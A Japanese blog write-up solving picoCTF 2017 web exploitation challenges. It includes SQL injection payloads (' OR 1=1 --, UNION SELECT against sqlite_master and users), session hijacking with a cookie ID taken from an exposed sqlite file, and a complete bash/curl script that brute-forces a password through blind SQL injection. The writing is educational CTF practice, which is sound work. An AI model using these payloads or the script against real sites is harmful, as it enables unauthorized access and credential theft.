picoCTF 2017 writeup (Web Exploitation)

# picoCTF Write-Up (Web Exploitation)

[picoCTF 2017](https://2017game.picoctf.com/game/level-1) の web 問題の write-up です。

## LEVEL1 - What is Web (20)

与えられたページの、html, css, js のコメントの中にそれぞれフラグの一部が隠されていて、3つを結合したものが最終的なフラグ。

## LEVEL1 - Lazy Dev (50)

`/static/client.js` の中身を読むと、

```js
//Validate the password. TBD!
function validate(pword){
  //TODO: Implement me
  return false;
}
```

となっている。この関数を、Google Chrome の console で以下を実行して上書きしてみる。

```js
function validate(pword){
  return true;
}
```

この状態で適当にパスワードを入力して送信すると、フラグが表示される。
他にも chrome の sources タブで直接書き換える、ブレークポイントを仕掛ける、などの力技もある。


## LEVEL2 - My First SQL (50)

### 問題概要

username と password から成るログインフォームが与えられる。

### ポイント

- SQLインジェクション

### 解法

典型的なSQLインジェクション。以下を username に入力し、 password を適当に入力して送信すればok。

```
' OR 1=1 --
```

## LEVEL2 - TW_GR_E1_ART (100)

### 問題概要

webでプレイできるゲームが与えられる。

### ポイント

- node.js

### 解法

ファイルへのアクセス制限に不備があり、サーバのソースコードにアクセスできてしまう。

ヒントにある通り、サーバは node.js で実装されている。 node.js のアプリを作る場合大抵はプロジェクトのルートディレクトリに package.json ファイルが置かれる。試しに `http://shell2017.picoctf.com:16929/package.json` にアクセスしてみると、 package.json の中身が見えてしまう。

package.json を読むと、 `server/init.js` と `server/serv.js` という2つのソースコードがあることがわかる。
`http://shell2017.picoctf.com:16929/server/serv.js` などにアクセスするとソースを読める。
ソースを読むに当たりまず `require(xxx)` でモジュールを読み込んでいる部分に着目する。
require の中身が `./xxx` となっていないものは一般的なライブラリを読み込んでいるだけなので無視する。
一方で require の中身が `./xxx` となっているものが実装されたコードを読み込んでいる部分になるので、そこに着目する。
require の中身が `./xxx` となっているものをたどっていって、 flag に関係ありそうな部分を抜粋すると、以下の通り。

```js:server/game.js
case "revealFlag":
    if (entity.items[action.item].effects[i].check == 64) {
        outcome.flag = process.env["PICO_CTF_FLAG"];
    }
    break;
```

```js:server/config.js
function createFlag(check, location) {
	return {
		name: "Flag",
		description: "Gives you the flag... maybe.",
		location: location,
		use: 0,
		id: check + 100,
		sprite: "flag",
		effects: [
			{
				type: "revealFlag",
				check: check
			},
			{
				type: "destroyItems"
			}
		]
	};
}

// (中略) ...

module.exports = {
	floors: [
		{
			range: [1, 3],
			// (中略) ...
		},
		{
			range: [4, 4],
			timeLimit: 500,
			generate: false,
			bgm: "at-the-end-of-the-road",
			description: {
				map: {
					width: 7,
					height: 19,
					grid: [
						[ -4,  -3,  -3,  -3,  -3,  -3,  -2],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -5,   1,   1,   1,   1,   1,  -1],
						[ -6,  -7,  -7,  -7,  -7,  -7,  -8]
					],
					stairs: {
						r: 16,
						c: 3
					},
					// (中略) ...
				},
				enemies: [],
				items: Array.from(new Array(83), (_, idx) => {
					if (idx >= 2) {
						idx++
					}

					if (idx >= 77) {
						idx++;
					}

					var r = Math.floor(idx / 5) + 1;
					var c = (idx % 5) + 1;

					return createFlag(idx, { r: r, c: c });
				}),
				player: {
					location: {
						r: 1,
						c: 3
					}
				}
			}
		}
	],
```

この2つのソースファイルから、以下のことが読み取れる。

- `check == 64` となる effect をもつ item を見つければ flag に辿り着けそう。
- 4階には全部で83個の items がある。 items を生成するときに `createFlag` 関数が呼ばれている。
- `createFlag` が生成する item で `check == 64` となるのは `idx` が 64 のとき。
- `idx` が 64 のとき、item の `location` は `{ r: 13, c: 5 }` となる。
- stairs の位置が `{ r: 16, c: 3 }` なので、該当する flag は階段の3こ上、2こ右のますにありそう。

したがって、

- 頑張ってゲームを解いて4階にたどり着く (..汗)
- 階段の3こ上、2こ右のますの item を取得する
- 取得した item を使う

とすることで、 flag を取得できる。

![FireShot Capture 024 - Toaster Wars_ Going Rogue, Episode 1 -_ - http___shell2017.picoctf.com_16929_.png](https://qiita-image-store.s3.amazonaws.com/0/225228/51f77aac-6b24-7088-e4e5-bfac00762c9a.png)


## LEVEL2 - TW_GR_E2_EoTDS (120)

### 問題概要

ゲーム「Toaster Wars: Going Rogue」 再来。
前問と同様に webでプレイできるゲームが与えられる。

### ポイント

- もはやゲーム

### 解法

前問と同様に4階にいってアイテムを取ればいい。
ヒントにある通り、敵であるヘラ?をうまく使う。


## LEVEL3 - Biscuit (75)

### 問題概要

なんの変哲もないwebページが与えられる。

### ポイント

- ファイルアクセス制限の不備
- sqlite

### 解法

まずソースをみる。すると、以下のようなコメントを見つける

```
<html>

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->
```

`cookies.sqlite` というファイルがサーバのどこかに隠されていそう。
ページの背景画像が `/private/image.png` に置かれていることから、 `/private/cookies.sqlite` にアクセスしてみる。
すると、ファイルをダウンロードできる。

中身を見てみると、どうやら認証情報が記録されているらしい。

```
$ sqlite3 cookies.sqlite
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .mode column
sqlite> .headers on
sqlite> .tables
moz_cookies
sqlite> SELECT * FROM moz_cookies;
id          baseDomain  appId       inBrowserElement  name        value                   host        path        expiry      lastAccessed      creationTime      isSecure    isHttpOnly
----------  ----------  ----------  ----------------  ----------  ----------------------  ----------  ----------  ----------  ----------------  ----------------  ----------  ----------
1           localhost   0           0                 ID          F3MAqpWxIvESiUNLHsflVd  localhost   /           1489365457  1489279130600290  1489279057101857  0           0
```

ということで、 cookie の `ID` というキーに `F3MAqpWxIvESiUNLHsflVd` という値を設定してみる。

![Screen Shot 2018-09-14 at 5.45.08.png](https://qiita-image-store.s3.amazonaws.com/0/225228/0b87043e-3c7e-aece-e7f4-5c92995b4875.png)

もう一度アクセスしてみると、

![Screen Shot 2018-09-14 at 5.48.43.png](https://qiita-image-store.s3.amazonaws.com/0/225228/9e6a966a-f6de-c2f5-e048-d26d750c9e57.png)

flagゲット。


## LEVEL3 - A Happy Union

### 問題概要

webサイトが与えられる。サイトは4つのページからなる。
- 登録ページ
- ログインページ
- 投稿一覧ページ
- 新規投稿ページ

### ポイント

- SQLインジェクション
    - UNION

### 解法

タイトルや問題文にもある通り、UNION による SQL インジェクションを使う。

今回は、投稿一覧ページのSQLに脆弱性がある。
この脆弱性にたどり着くには、まず、登録ページにて `'` というユーザ名で登録する。次に、登録した情報でログインし、投稿一覧ページを表示する。すると、Status 500 が返ってきて、 `select id, user, post from posts where user = ''';` というメッセージが表示される（親切設計！）

ここからわかることは、投稿一覧ページを表示する際に、
`SELECT id, user, value FROM posts WHERE user = '<ユーザ名>'`
というクエリが発行されており、 `<ユーザ名>` の部分がエスケープされていないということ。
したがって、

1. インジェクションしたいクエリをユーザ名として登録（パスワードは適当）
2. ログイン
3. 投稿一覧ページを表示

という手順でインジェクションができる。

試しに、UNION を使ってテーブル一覧を取得してみる。UNION を使う際のポイントは、 UNION より前の部分に存在するクエリと列の数を揃えること。テーブル一覧を取得するクエリは使われている RDB によって異なるので、とりあえず以下を試す。

- `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --` -> Status 500。MySQL ではなさそう。
- `' UNION SELECT tablename, 2, 3 FROM pg_catalog.pg_tables --` -> Status 500。Postgres ではなさそう。
- `' UNION SELECT name, sql, 3 FROM sqlite_master WHERE type = 'table' --` -> SQLite が正解っぽい。

3つめのクエリで以下のような結果が返ってくる。

![Screen Shot 2018-09-17 at 20.51.32.png](https://qiita-image-store.s3.amazonaws.com/0/225228/034ab63d-9dd1-7224-480b-e416f2453b87.png)

users テーブルの pass カラムにフラグが隠されているパターンが往々にしてあるので、以下を試す。
`' UNION SELECT user, pass, 3 FROM users --`
すると、 `admin` ユーザのパスワード部分にフラグが現れる。


## LEVEL3 - No Eyes

### 問題概要

ログインフォームが与えられる。

### ポイント

- SQLインジェクション
- blind SQL

### 解法

SQLインジェクションを使う。 username に `'` を入力すると、 Status 500 が返ってきて、 `select * from users where user = ''';` というメッセージが表示される。 password についても同様のことができる。
そこで、 username: `admin`, password: `' OR 1=1 --` と入力すると、以下のメッセージが表示される。

```
Login Functionality Not Complete. Flag is 63 characters
```

さらに、 username: `admin`, password: `' OR 1=0 --` と入力すると、以下のようなメッセージが表示される。

```
Incorrect Password.
```

よって、 password フォームに SQL インジェクションをかけていき、ヒットするれコードがあれば `Login Functionality Not Complete. Flag is 63 characters` 、なければ `Incorrect Password.` が返ってくると予想できる。
この挙動を利用して 63 文字のパスワードを見つければ、それがフラグになりそうと予想できる。

このように、SQLの結果を直接は確認できないが、結果の有無だけは観測できる、というパターンは blind SQL インジェクションにあたる。
今回はフラグの長さを教えてくれているので、自分で長さを見つけなくてもいい。
`SUBSTR` などを使って1文字ずつ総当たりで正解文字列を探索すれば、正解文字列の長さを `N` とすると `O(N)` で探索が完了する。

手でやるには大変なので、スクリプトを作るといい。今回はシェルスクリプトで curl を使って書いた。

```sh
#!/bin/bash

set -eu

chars="_0123456789abcdefghijklmnopqrstuvwxyz- ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$&()*+\`./:;<=>?@[]\\^{}|~'"
echo $chars

ans=''
l=${#ans}
while [ $l -lt 63 ]; do
  echo "========== l = $l, ans = $ans"
  found=0
  for (( i=0; i<${#chars}; i++ )); do
    c=${chars:$i:1}
    echo $ans$c
    res=$(curl -s -X POST -F "username=admin" -F "password=' OR SUBSTR(pass,1,$(($l + 1))) = '$ans$c' --" http://shell2017.picoctf.com:16012/ 2>&1 | grep 'Login Functionality Not Complete' || :)
    if [ ! -z "$res" ]; then
      ans+=$c
      found=1
      break
    fi
  done
  if [ $found -eq 0 ]; then
    echo "Couldn't find new char!!!"
    exit 1
  fi
  l=$(($l + 1))
done
echo "========== l = $l, ans = $ans"
```


## LEVEL3 - TW_GR_E3_GtI

### 問題概要

ゲーム「Toaster Wars: Going Rogue」 再来。

### ポイント

- javascript

### 解法

前問と同様、がっつりソースを読む。
使うとフラグを出してくれるitemがあるのは前回同様。item 作成部分の関数は以下の通り。 `id` が `12` となっているのが分かる。

```js:/server/config.js
function createFlag(location) {
	return {
		name: "Flag",
		description: "Gives you the flag.",
		location: location,
		use: 0,
		id: 12,
		sprite: "flag",
		effects: [
			{
				type: "revealFlag"
			}
		]
	};
}
```


さらに今回は、item をソートするときのバグに着目する。

```js:/server/game.js
socket.on("resortItems", function(){
  // logger.warn("[sort]", socket.id);

  db.getState(socket.id)
    .then(function(state){

      if (state.done) {
        return;
      }

      var oldState = censor(state);

      state.player.items.sort(function(a, b){
        if(a.name < b.name){
          return -1;
        }

        if(a.name > b.name){
          return 1;
        }

        return 0;
      });

      for(var i = 0; i < state.player.items.length; i++){
        state.player.items[i].id = i;
      }

      state.log = [];

      return db.commit(socket.id, state)
        .then(sendState(socket, oldState, false));
    });
})
```

このソースによると、ユーザが item をソートしたときに、item の id が振り直されてしまっていることがわかる。
実際に試してみた様子が以下。

![Screen Shot 2018-09-18 at 14.16.04.png](https://qiita-image-store.s3.amazonaws.com/0/225228/0a8da08f-bea4-63f1-e189-a65fa8125c43.png)